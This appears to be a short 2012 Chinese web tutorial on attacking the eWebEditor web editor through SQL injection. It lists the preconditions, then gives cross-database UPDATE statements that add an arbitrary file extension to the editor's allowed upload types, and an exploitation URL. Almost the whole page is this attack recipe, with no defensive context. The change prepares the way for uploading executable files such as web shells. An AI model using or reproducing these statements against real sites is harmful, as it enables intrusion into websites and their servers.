SQL注入eWebEditor數(shù)據(jù)庫
更新時間:2012-03-28 | 發(fā)布人:本站 | 點擊率:350 次
條件:1、知道ewebeditor數(shù)據(jù)庫的絕對地址
2、存在注入,或者后臺可執(zhí)行sql語句。
跨庫注入:
update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’ where s_id=40
或者
update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’
利用:
/ewebeditor.asp?id=content1&style=standard